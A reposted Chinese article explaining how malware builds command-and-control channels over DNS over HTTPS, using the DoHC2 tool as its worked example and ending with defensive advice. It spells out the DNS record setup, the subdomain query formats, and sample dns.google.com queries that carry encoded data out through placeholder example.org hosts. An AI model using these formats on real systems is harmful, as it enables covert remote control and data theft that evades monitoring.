基於DoH的C2——本質上就是dns隧道做的c2封裝在了https里


https://github.com/sensepost/godoh ==>sensepost有不少人在使用
 
 
In order to develop this we used some of the awesome work of others. Below is a list of those we either used their code or were inspired by. If we missed you please let us know so we can add your name!
lsassy by @HackAndDo used for some Windows modules
goDoH by @leonjza from SensePost used for DoH
BishopFox Sliver used in some places as they already did a fanstastic job
Merlin used for reflective DLLs support
dgoogauth used for the 2FA functionality
gobfuscate used to support agent obfuscation
Stack Overflow because isn't this how we develop now?
Bad Sector Labs for their Domain Hiding technique using TLS 1.3, ESNI, and Cloudflare
 
 
淺析惡意軟件通信技術:基於DoH的C2信道
XHJ2020  2021-10-20 13:45:56 55642 2

*本文僅用於技術分享與討論,嚴禁用於其它用途,所帶來的法律風險與本文無關。

背景概述

對僵屍程序、木馬等具有遠控能力的惡意軟件而言,C&C信道不僅是其正常運行的基本需求,也是其維持自身健壯性、隱蔽性的關鍵所在。其中,常見遠控工具主要面臨兩方面問題:遠控流量易被檢測、被阻斷、被審計;控制者身份和C&C服務器易被溯源追蹤。

針對以上問題,近年來,紅隊在實戰中研究發現了多種可利用的對抗技術,以應對網絡邊界的流量審計和防御人員的溯源追蹤。比如:基於 DoH(DNS over HTTPS)、Domain Fronting(域前置)、Domain Hiding(域隱藏)、Domian Borrowing(域借用)、Instant Message(即時消息)、在線剪切板(pastbin等)、社交網絡(twitter等)、雲函數、雲存儲等公共資源的C&C信道。

1634092791_616646f7af6830a725e3a.png!small

該類基於公共資源的C&C信道有一個共同特點,即控制者不再僅依賴自建C&C服務器對被控主機進行管控,而是利用互聯網上開放的公共服務充當C&C服務器的角色。其優勢在於:

(1) 防流量審查:被控端不與C&C服務器直接通信,而是與互聯網上公開、正常的網絡服務通信,將其自身產生的惡意流量偽裝成正常用戶的合法流量,可有效突破本地和網絡邊界的流量審查以及防火牆限制。

(2) 防溯源追蹤:利用互聯網上的公共服務中轉被控端與C&C服務器之間的網絡流量(或充當C&C服務器角色),以隱藏C&C服務器的地址,可有效降低C&C服務器或BotMaster被防御人員溯源追蹤的可能性。

本文目的

作為公共資源型C&C信道的一種方式,本文主要對DoH的產生背景、基本原理、實際案例進行概述,同時以開源工具DoHC2為例,討論惡意軟件在利用DoH充當C&C信道的過程中,如何設計信道運行流程、如何定義協議格式等內容,最后討論DoH的適用場景並提出防御建議。

DoH簡介

1 DoH的產生

傳統的DNS協議通過UDP發送DNS查詢請求,通信內容沒有加密,安全性較弱,易受中間人攔截和操縱。為了解決傳統 DNS 的弊端,先后誕生了多種網絡協議,以強化域名系統的安全性,如: DNSSEC、 DNSCrypt、 DNS over TLS、 DNS over HTTPS等。其中,DoH是目前主流瀏覽器唯一支持的提高DNS安全性的協議。

1634200016_6167e9d0091220dedea33.png!small

作為一種彌補現行DNS安全的新協議,DoH在通信過程中基於HTTPS發送DNS查詢請求,並從某個可信DoH服務器(知名服務商提供)獲取查詢結果 。因為通信內容是加密傳輸的,所以可有效解決DNS監視和DNS劫持的問題。

1634094884_61664f24f1f7da4b4be36.png!small?1634094885200

2 DoH的現狀

目前,DoH還在標准化的過程中:RFC方面,它已經有了相應的草案,但還沒正式發布。雖然尚未正式發布,但Firefox 從 62 版本已開始支持 DoH、Chrome/Chromium 從 66 版本也已開始支持 DoH。此外,Google 、Cloudflare、Quad9 等知名服務提供商也提供了支持DoH功能的DNS服務器。

1634094923_61664f4bad419e0e79e59.png!small?1634094923985

3 DoH的案例 

 

雖然通過DoH可避免中間人攻擊和隱私泄露的風險,然而在提供安全性的同時,DoH也存在被攻擊者惡意利用的風險。據報道:

2019年7月, 360Netlab的安全人員發現首個利用 DoH的惡意軟件 Godlua ,該惡意軟件利用DoH協議從某域名的TXT記錄中獲取攻擊者預留的控制命令(參考:Godlua Backdoor分析報告)。

2020年5月,卡巴斯基的安全人員發現伊朗APT組織OilRig(APT34)已將DoH武器化,成為第一個將DoH協議納入其黑客安全工具庫的APT組織(參考:APT組織將DoH武器化)。

信道原理

在網絡通信層面,被控端與C&C服務器的通信主要有兩類請求,一是被控端從C&C服務器獲取攻擊者下發的控制命令,二是被控端將命令的執行結果或竊取的敏感文件回傳給C&C服務器。

為滿足以上需求,基於DoH充當C&C信道的方式與基於DNS充當C&C信道的方式是一樣的,都是通過子域名查詢攜帶傳遞的信息。不同之處在於,DoH多了一層通過HTTPS包裹“DNS查詢”的過程。

其中,常見DNS記錄類型如下圖所示:

1634225014_61684b765f37f39f96656.png!small?1634225015038

在具體實現上,惡意軟件通常利用DNS  TXT記錄獲取控制命令、利用DNS A記錄(或TXT記錄、AAAA記錄等)回傳結果信息。示例如下:

(1) 獲取控制命令:通過查詢子域名的TXT記錄,從DNS響應中獲取攻擊者預留的控制命令。

1634221447_61683d87701ef9703ac6b.png!small?1634221447688

(2) 回傳結果信息:通過查詢子域名的A記錄,將敏感信息發送到攻擊者控制的DNS服務器。

1634267200_6168f04035029f2f353cd.png!small?1634267200623

為什么被控端的DNS查詢請求最終會達到攻擊者控制的DNS服務器? 這是NS記錄在起作用。NS記錄:用於指定該域名的子域名查詢由哪個DNS服務器來解析。

備注:在DNS查詢的過程中,如果本地DNS有緩存,則返回緩存中的內容;如果本地DNS無緩存,則從根DNS服務器遞歸查詢,請求最終會到達NS記錄所指向的服務器。(DNS遞歸查詢)

信道流程

以開源工具DoHC2為例,基於DoH構建C&C信道的通信流程如圖所示。其中,自建DNS服務器由攻擊者搭建並控制,本質是一段Python腳本,用於中轉被控端與C&C服務器之間的網絡流量;C&C服務器由Cobaltstrike Teamserver搭建部署完成,用於對被控端程序進行遠程控制。二者即可單獨部署,也可部署在一台服務器。

1634522916_616cd7248b607e02d602d.png!small?1634522917208

1634523378_616cd8f23371569bc9bb1.png!small

該工具的安裝步驟可參考:https://github.com/SpiderLabs/DoHC2。在使用該工具前,需要先申請域名,並配置DNS記錄。其中,使用兩條NS記錄只是該工具的設計,一條在獲取控制命令時使用,一條在回傳結果信息時使用。

(1)創建一條A記錄,對應的記錄值為自建DNS的IP地址;

(2)創建兩條NS記錄,對應的記錄值為剛剛創建的A記錄。

1 客戶端構造DNS查詢請求

在運行過程中,DoHC2客戶端發往dns.google.com(或其它DoH服務器)的DNS查詢請求如下所示,該請求最終會經公共DNS服務器,到達自建DNS服務器,進而轉發給C&C服務器,實際的payload位於name字段。

https://dns.google.com/resolve?name={子域名字符串}.receive.example.org&type=TXT

https://dns.google.com/resolve?name={子域名字符串}.send.example.org&type=TXT

1.1 協議格式:獲取控制命令

1634525498_616ce13a8583d2bee1e27.png!small

(1) 第1次查詢:獲取控制命令的長度大小

"{0}.{1}.{2}", dohSocketHandle, session, receiveHostname

{0} dohSocketHandle: 客戶端的唯一標志
{1} session:  隨機的session標識
{2} receiveHostname: 子域名 receive.example.org

示例:

iyyk.bfra.receive.example.org

(2) 第1-n次查詢:獲取控制命令的實際內容(循環)

"{0}.{1}.{2}.{3}", dohSocketHandle, pos, session, receiveHostname

dohSocketHandle: 客戶端的唯一標志
pos:  從0開始,最多1500次
session: 隨機的session標識
receiveHostname: 子域名 receive.example.org

示例:

iyyk.bfra.0.receive.example.org

iyyk.bfra.1.receive.example.org

iyyk.bfra.2.receive.example.org

......

備注:由於單個TXT記錄一般不超過255字節,因此對於控制命令過長的情況,需要發送多次DNS TXT查詢,每次獲取部分字符串,最后將其拼接為原始內容。

1.2 協議格式:回傳結果信息

1634550583_616d43371001a7c783a50.png!small?1634550585085

1634550845_616d443d8ad6ee975228a.png!small?1634550846399

(1) 第1次查詢: 告訴服務器,本次數據傳輸需要多少次DNS查詢

"{0}.{1}.{2}.{3}", dohSocketHandle, entries, session, sendHostname

{0} dohSocketHandle: 客戶端的唯一標志
{1} entries: 本次數據傳輸需要多少次查詢
{2} session:  整個session的唯一標識
{3} sendHostname: 查詢子域名 send.example.org

示例:

iyyk.25.4q9j.send.example.org

(2) 第1-n次查詢: 開始傳輸待發送的數據,分片的內容位於{3}處

"{0}.{1}.{2}.{3}.{4}", dohSocketHandle, pos, session, String.Join(".", labels.ToArray()), sendHostname

{0}  dohSocketHandle: 客戶端的唯一標志
{1} pos:  此次傳輸數據在整個數據塊中的相對位置 
{2} session:  整個session的唯一標識
{3} String.Join(".", labels.ToArray()): 此次傳輸的實際數據(最多三個數據塊,由labelsPerLookup指定)
{4} sendHostname: 查詢子域名 send.example.org

示例:

iyyk.0.4q9j.kyks5hzzm8epo9sfvwakuwwr6bhsdvhtibambriwae5uezgo8t.sqlb2wb1a013lppz2psycczcyi4bb5grqawqb2pcyqcq6bler7.9dwbx3gfhv6qeibgbeinfvdbqq7kkugbvtfivwlrt1ikcp77rx.send.example.org

iyyk.1.4q9j.pnlsx2crqygl3bxcgrghzgbxht0fottyfmtrdzotna91gzv3hl.mdft2tbrvm00gmcbiptvo0z2gz0qaai2xldqsnlcfqwdlnhonq.qagal9hxyusk1z0drrku7klxheokyamii3mlv7iny44pzaibaz.send.example.org

iyyk.2.4q9j.dysua7kowwb2qdhglebdqca7t6y960egsyzaxoorbkczix9lag.nkty7xegsw2lfg6q3prn8hwkkzxm35kafl0mdmlaga94kbgyxk.xrsuoukp0mxqdc2uxfm42azefuu6x3drkrlmugy6ly0xpp9ypa.send.example.org
......

備注:如果回傳的字符串太長(或文件太大),則需要將字符串分割后傳輸,每次傳遞特定大小的內容。待DNS服務器收到所有請求后,再將分割后的信息還原。

2 服務端處理DNS查詢請求

當DNS查詢請求到達自建DNS服務器時,Python腳本會依據子域名的標識進行判斷,以確定返回控制命令,還是接收回傳結果。

1634555439_616d562f11b7a7a9693e1.png!small

一些討論

1 適用場景

雖然單純基於DNS協議構建C&C信道的方式,具有較好的隱蔽性,可繞過部分防火牆的攔截。但對於本地DNS服務器而言,其通信內容是明文的,且目前對惡意DNS的檢測手段也比較成熟,如:子域名的長度、元音字母個數、請求的心跳頻率等因素都會引發異常行為。

1634096220_6166545ce33efea6d4e48.png!small?1634096221550

基於DoH協議構建C&C信道的方式,不僅通信內容可基於HTTPS協議加密,而且與高可信DoH服務的通信(而非本地DNS服務器)不會引發異常行為,避免了基於DNS的惡意行為檢測機制。此外,在整個通信過程中,任何參與節點都無法獲知C&C服務器的地址信息,也無法掌握全部的關鍵信息。

任何技術方案都不是完美的,基於DoH的C&C信道也是如此。如果受害終端向DoH服務器發送過多的DNS查詢請求,尤其一些生僻域名的查詢,易觸發DoH服務商的異常行為檢測機制。而且由於每次DNS查詢僅能發送或響應特定長度的內容,所以DoH相對適合傳輸內容有限的情況(如:獲取控制命令),不適合傳輸超長內容的場景(如:回傳大文件)。

2 防御建議

對於企業的邊界而言,由於DNS查詢請求被HTTPS加密,無法獲取明文內容,因此基於通信內容進行檢測的手段無法有效發揮作用。一種比較直接的手段,便是屏蔽企業內部終端發往DoH服務器的所有請求。雖然有一定的附帶損害,但由於DoH服務並未大規模應用,故不會造成實質性影響。

對於DoH服務商而言,由於DNS查詢達到DoH服務器后已是明文內容,所以針對惡意DNS的檢測技術在這里就有了用武之地。此外,DoH服務商也可基於惡意DNS查詢請求獲知被控端的主機規模,以及自建DNS服務器的地址信息,可進一步與執法機構配合以對利用DoH的惡意行為進行打擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM